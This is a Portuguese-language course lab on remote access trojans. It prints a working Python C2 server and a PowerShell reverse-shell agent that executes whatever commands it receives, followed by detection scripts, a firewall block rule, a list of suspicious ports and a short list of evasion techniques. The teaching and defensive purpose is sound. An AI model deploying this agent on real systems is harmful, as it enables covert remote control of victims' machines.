Lab 10.3: RAT Simples com Sockets

Objetivos de Aprendizagem

Ao final deste laboratório, você será capaz de:

• Compreender a arquitetura cliente-servidor de ferramentas de controle remoto
• Desenvolver um servidor C2 básico em Python
• Criar um cliente (agente) em PowerShell
• Entender técnicas de comunicação de malwares
• Detectar e bloquear esse tipo de comunicação

Duração Estimada

60 minutos

Pré-requisitos

• Labs 10.1 e 10.2 completos
• 2 VMs (atacante e alvo) na mesma rede
• Python 3 instalado na VM atacante
• PowerShell na VM alvo

Contexto Profissional

Os RATs (Remote Access Trojans) e C2 (Command and Control) são:

• Utilizados por Red Teams para simular ataques
• No centro da maioria dos malwares modernos
• Essenciais para entender a detecção

Este lab ensina a DETECTAR essas ameaças, não a usá-las de forma maliciosa.

---

AVISO ÉTICO E LEGAL CRÍTICO

ESTE LABORATÓRIO É ESTRITAMENTE EDUCACIONAL

AUTORIZADO APENAS:

• Em suas VMs de teste isoladas
• Sem conexão com a Internet
• No contexto do curso

ESTRITAMENTE PROIBIDO:

• Em sistemas não autorizados
• Com conexão à Internet
• Para fins maliciosos

CONSEQUÊNCIAS LEGAIS:

• Acesso não autorizado = Crime (Código Penal)
• Prisão e multas pesadas
• Ficha criminal permanente

Ao continuar este laboratório, você aceita estas condições.

---

Parte 1: Arquitetura C2

Etapa 1.1: Componentes de um RAT

[Servidor C2]                    [Agente/Cliente]
(Atacante)                       (Alvo)
     |                               |
     |<------ 1. Conexão ----------->|
     |                               |
     |------- 2. Comando ----------->|
     |                               |
     |<------ 3. Resultado ----------|
     |                               |
     |------- 4. Novo cmd ---------->|
     |       ...                     |

Etapa 1.2: Tipos de comunicação

Tipo	Direção	Vantagem	Desvantagem
Bind Shell	Atacante -> Alvo	Simples	Bloqueado por firewall
Reverse Shell	Alvo -> Atacante	Bypass no firewall	Requer IP acessível
HTTP C2	Alvo -> Atacante	Discreto	Mais complexo

Vamos criar um Reverse Shell simples.

---

Parte 2: Servidor C2 (Python)

Etapa 2.1: Criar o servidor

Na VM "atacante", crie serveur_c2.py:

#!/usr/bin/env python3
"""
Serveur C2 educatif - NE PAS UTILISER EN DEHORS DU LAB
"""
import socket
import sys

def banner():
    print("=" * 50)
    print("  SERVEUR C2 EDUCATIF - LAB 10.3")
    print("  Usage: python serveur_c2.py <port>")
    print("=" * 50)
    print()

def start_server(port):
    # Creer le socket
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    try:
        server.bind(("0.0.0.0", port))
        server.listen(1)
        print(f"[*] Serveur en ecoute sur le port {port}")
        print("[*] En attente d'une connexion...")
        
        # Accepter une connexion
        client, address = server.accept()
        print(f"[+] Connexion recue de {address[0]}:{address[1]}")
        print()
        print("Tapez vos commandes (tapez 'exit' pour quitter):")
        print("-" * 50)
        
        while True:
            # Lire la commande
            command = input("C2> ")
            
            if command.lower() == "exit":
                client.send(b"exit\n")
                break
            
            if not command:
                continue
            
            # Envoyer la commande
            client.send((command + "\n").encode())
            
            # Recevoir le resultat
            result = b""
            while True:
                chunk = client.recv(4096)
                if not chunk or chunk.endswith(b"END_OF_OUTPUT\n"):
                    result += chunk.replace(b"END_OF_OUTPUT\n", b"")
                    break
                result += chunk
            
            # Afficher le resultat
            print(result.decode('utf-8', errors='ignore'))
        
        client.close()
        
    except KeyboardInterrupt:
        print("\n[!] Arret du serveur...")
    except Exception as e:
        print(f"[!] Erreur: {e}")
    finally:
        server.close()

if __name__ == "__main__":
    banner()
    
    if len(sys.argv) != 2:
        print("Usage: python serveur_c2.py <port>")
        sys.exit(1)
    
    port = int(sys.argv[1])
    start_server(port)

Etapa 2.2: Iniciar o servidor

python3 serveur_c2.py 4444

Perguntas:

1. Em qual porta o servidor está escutando?
2. O que acontece se a porta já estiver em uso?

---

Parte 3: Agente/Cliente (PowerShell)

Etapa 3.1: Criar o agente

Na VM "alvo", crie agent.ps1:

# Agent C2 educatif - NE PAS UTILISER EN DEHORS DU LAB
# =====================================================

param(
    [Parameter(Mandatory=$true)]
    [string]$ServerIP,
    
    [Parameter(Mandatory=$true)]
    [int]$ServerPort
)

Write-Host "=== AGENT C2 EDUCATIF - LAB 10.3 ===" -ForegroundColor Cyan
Write-Host "Connexion a $ServerIP`:$ServerPort..." -ForegroundColor Yellow

try {
    # Creer la connexion TCP
    $client = New-Object System.Net.Sockets.TcpClient($ServerIP, $ServerPort)
    $stream = $client.GetStream()
    $reader = New-Object System.IO.StreamReader($stream)
    $writer = New-Object System.IO.StreamWriter($stream)
    $writer.AutoFlush = $true
    
    Write-Host "Connecte au serveur C2!" -ForegroundColor Green
    Write-Host "En attente de commandes..." -ForegroundColor Yellow
    
    while ($true) {
        # Lire la commande du serveur
        $command = $reader.ReadLine()
        
        if ($command -eq "exit" -or $command -eq $null) {
            Write-Host "Deconnexion..." -ForegroundColor Red
            break
        }
        
        Write-Host "Commande recue: $command" -ForegroundColor Gray
        
        # Executer la commande
        try {
            $output = Invoke-Expression $command 2>&1 | Out-String
            if ([string]::IsNullOrEmpty($output)) {
                $output = "[Commande executee sans sortie]"
            }
        } catch {
            $output = "Erreur: $_"
        }
        
        # Envoyer le resultat
        $writer.WriteLine($output)
        $writer.WriteLine("END_OF_OUTPUT")
    }
    
} catch {
    Write-Host "Erreur de connexion: $_" -ForegroundColor Red
} finally {
    if ($client) { $client.Close() }
    Write-Host "Agent termine." -ForegroundColor Red
}

Etapa 3.2: Iniciar o agente

.\agent.ps1 -ServerIP "192.168.100.10" -ServerPort 4444

Substitua o IP pelo da sua VM servidor.

---

Parte 4: Teste de Comunicação

Etapa 4.1: Sequência de teste

1. VM Servidor: Inicie o servidor

   python3 serveur_c2.py 4444

2. VM Cliente: Inicie o agente

   .\agent.ps1 -ServerIP "IP_SERVIDOR" -ServerPort 4444

3. No servidor, teste comandos:

   C2> whoami
   C2> hostname
   C2> Get-Process | Select-Object -First 5
   C2> Get-Date
   C2> exit

Etapa 4.2: Documentar a comunicação

Perguntas: 3. Os comandos são executados no cliente? 4. Os resultados retornam ao servidor? 5. Quanto tempo leva um ciclo completo?

---

Parte 5: Detecção e Defesa

Etapa 5.1: Detectar a conexão

Na VM cliente, enquanto o agente está ativo:

# Ver conexões estabelecidas
Get-NetTCPConnection -State Established | 
    Where-Object { $_.RemotePort -eq 4444 -or $_.LocalPort -eq 4444 } |
    Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess

# Identificar o processo
Get-Process -Id (Get-NetTCPConnection -RemotePort 4444).OwningProcess

Etapa 5.2: Detectar nos logs

# Eventos de conexão de rede (requer auditoria ativa)
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 5156  # Windows Filtering Platform
} -MaxEvents 10 -ErrorAction SilentlyContinue

Etapa 5.3: Bloquear com o firewall

# Bloquear conexões de saída na porta 4444
New-NetFirewallRule -DisplayName "Block C2 Port 4444" `
    -Direction Outbound `
    -LocalPort 4444 `
    -Protocol TCP `
    -Action Block

# Verificar a regra
Get-NetFirewallRule -DisplayName "Block C2*"

# Remover a regra (após o lab)
Remove-NetFirewallRule -DisplayName "Block C2 Port 4444"

Etapa 5.4: Script de detecção automática

# Script de detecção de conexões suspeitas
Write-Host "=== DETECTION CONNEXIONS SUSPECTES ===" -ForegroundColor Cyan

$suspectPorts = @(4444, 5555, 6666, 1337, 31337, 8080, 8443)

$connections = Get-NetTCPConnection -State Established | Where-Object {
    $_.RemotePort -in $suspectPorts -or $_.LocalPort -in $suspectPorts
}

if ($connections) {
    Write-Host "`n[ALERTE] Connexions suspectes detectees:" -ForegroundColor Red
    foreach ($conn in $connections) {
        $proc = Get-Process -Id $conn.OwningProcess -ErrorAction SilentlyContinue
        Write-Host "  Port: $($conn.RemotePort) | Processus: $($proc.Name) (PID: $($conn.OwningProcess))" -ForegroundColor Yellow
    }
} else {
    Write-Host "`n[OK] Aucune connexion suspecte detectee" -ForegroundColor Green
}

# Verifier PowerShell avec connexions reseau
$psSessions = Get-NetTCPConnection | Where-Object {
    $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    $proc.Name -eq "powershell" -and $_.State -eq "Established"
}

if ($psSessions) {
    Write-Host "`n[ALERTE] PowerShell a des connexions reseau actives!" -ForegroundColor Red
    $psSessions | Format-Table LocalAddress, LocalPort, RemoteAddress, RemotePort
}

Perguntas: 6. Seu agente foi detectado? 7. O bloqueio pelo firewall funcionou?

---

Parte 6: Melhorias (Discussão)

Etapa 6.1: Como malwares reais evitam detecção

Técnicas comuns (apenas para informação):

• Uso de portas padrão (80, 443)
• Criptografia das comunicações (HTTPS)
• Beaconing irregular
• Domain fronting
• DNS tunneling

Etapa 6.2: Como os defensores respondem

• Análise comportamental (EDR)
• Inspeção SSL/TLS
• Detecção de anomalias de rede
• Threat intelligence
• Análise em sandbox

Pergunta: 8. Como você detectaria um C2 usando HTTPS na porta 443?

---

Limpeza

IMPORTANTE: Após o laboratório, exclua os arquivos:

# Na VM cliente
Remove-Item .\agent.ps1 -Force

# Na VM servidor
rm serveur_c2.py

Remova as regras de firewall adicionadas:

Remove-NetFirewallRule -DisplayName "Block C2*"

---

Entregáveis

1. Capturas de tela:

   • Servidor em escuta
   • Agente conectado
   • Comandos executados
   • Detecção da conexão

2. Respostas às 8 perguntas

3. Análise (2 páginas):

   • Arquitetura do RAT
   • Fragilidades deste RAT simples
   • Como um malware real o melhoraria
   • Métodos recomendados de detecção

---

Critérios de Avaliação

Critério	Pontos
Servidor/cliente funcionais	25%
Comunicação estabelecida	20%
Detecção implementada	25%
Análise e compreensão	30%

---

Comandos de Referência

# Conexões
Get-NetTCPConnection -State Established
netstat -ano | findstr "ESTABLISHED"

# Firewall
New-NetFirewallRule -DisplayName "Name" -Direction Outbound -LocalPort X -Action Block
Get-NetFirewallRule
Remove-NetFirewallRule -DisplayName "Name"

# Processos de rede
Get-Process -Id (Get-NetTCPConnection).OwningProcess | Select-Object -Unique

# Python servidor
python3 serveur_c2.py 4444

# Verificar portas (Linux)
netstat -tlnp | grep 4444
ss -tlnp | grep 4444

---

Recursos Adicionais

• MITRE ATT&CK: Command and Control
• C2 Matrix - Comparação de frameworks
• Detection Engineering

---

Conclusão

Este laboratório mostrou:

1. Como funciona um RAT básico
2. A arquitetura cliente-servidor de C2
3. Técnicas de detecção
4. A importância do monitoramento de rede

O objetivo é COMPREENDER para melhor DETECTAR e DEFENDER.

---

Lab desenvolvido no contexto do curso Sistemas Operacionais - MÓDULO 10